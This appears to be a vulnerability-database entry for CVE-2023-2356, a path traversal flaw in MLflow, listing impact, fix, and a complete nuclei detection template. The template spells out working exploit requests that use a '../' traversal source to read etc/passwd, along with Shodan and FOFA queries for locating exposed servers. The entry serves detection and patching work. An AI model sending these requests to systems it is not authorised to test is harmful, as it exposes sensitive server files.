CVE-2023-2356· lfprojects / mlflow· CWE-23
Mlflow <2.3.0 - Local File Inclusion
highseverity
7.5CVSS score
4.1%likelihood of exploitation, next 30 days
91%of all CVEs are less likely
Readycheck to confirm it
Relative Path Traversal in GitHub repository mlflow/mlflow prior to 2.3.1.
Impact
Successful exploitation could allow an attacker to read sensitive files on the server.
Fix
Upgrade Mlflow to version 2.3.0 or above to mitigate the vulnerability.
How to confirm it
Send: POST /api/2.0/mlflow/registered-models/create ; POST /api/2.0/mlflow/model-versions/create ; GET /model-versions/get-artifact?path=etc/passwd&name={{str}}&version={{version}}
Positive when: matches /root:[x*]:0:0/ AND status 200Run it with nuclei: nuclei -id CVE-2023-2356 -u <target>
The full check
id: CVE-2023-2356
info:
name: Mlflow <2.3.0 - Local File Inclusion
author: Co5mos
severity: high
description: |
Relative Path Traversal in GitHub repository mlflow/mlflow prior to 2.3.1.
impact: |
Successful exploitation could allow an attacker to read sensitive files on the server.
remediation: |
Upgrade Mlflow to version 2.3.0 or above to mitigate the vulnerability.
reference:
- https://huntr.dev/bounties/7b5d130d-38eb-4133-8c7d-0dfc9a9d9896/
- https://nvd.nist.gov/vuln/detail/CVE-2023-2356
- https://github.com/mlflow/mlflow/commit/f73147496e05c09a8b83d95fb4f1bf86696c6342
- https://github.com/Ostorlab/KEV
- https://github.com/Ostorlab/known_exploited_vulnerbilities_detectors
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2023-2356
cwe-id: CWE-23
epss-score: 0.04119
epss-percentile: 0.90879
cpe: cpe:2.3:a:lfprojects:mlflow:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 3
vendor: lfprojects
product: mlflow
shodan-query: http.title:"mlflow"
fofa-query:
- app="MLflow"
- app="mlflow"
- title="mlflow"
google-query: intitle:"mlflow"
tags: cve2023,cve,lfi,huntr,mlflow,oss,intrusive,lfprojects,vuln,vkev
variables:
str: "{{rand_base(6)}}"
http:
- raw:
- |
POST /api/2.0/mlflow/registered-models/create HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"name": "{{str}}"}
- |
POST /api/2.0/mlflow/model-versions/create HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"name": "{{str}}", "source": "file://{{Hostname}}/../../../../../../../"}
- |
GET /model-versions/get-artifact?path=etc/passwd&name={{str}}&version={{version}} HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: regex
regex:
- root:[x*]:0:0
- type: status
status:
- 200
extractors:
- type: regex
name: version
group: 1
regex:
- '"version": "([0-9.]+)",'
internal: true
part: bodyReferences
- https://huntr.dev/bounties/7b5d130d-38eb-4133-8c7d-0dfc9a9d9896/
- https://nvd.nist.gov/vuln/detail/CVE-2023-2356
- https://github.com/mlflow/mlflow/commit/f73147496e05c09a8b83d95fb4f1bf86696c6342
- https://github.com/Ostorlab/KEV
- https://github.com/Ostorlab/known_exploited_vulnerbilities_detectors
Use this check only on systems you are authorised to test. Where the data comes from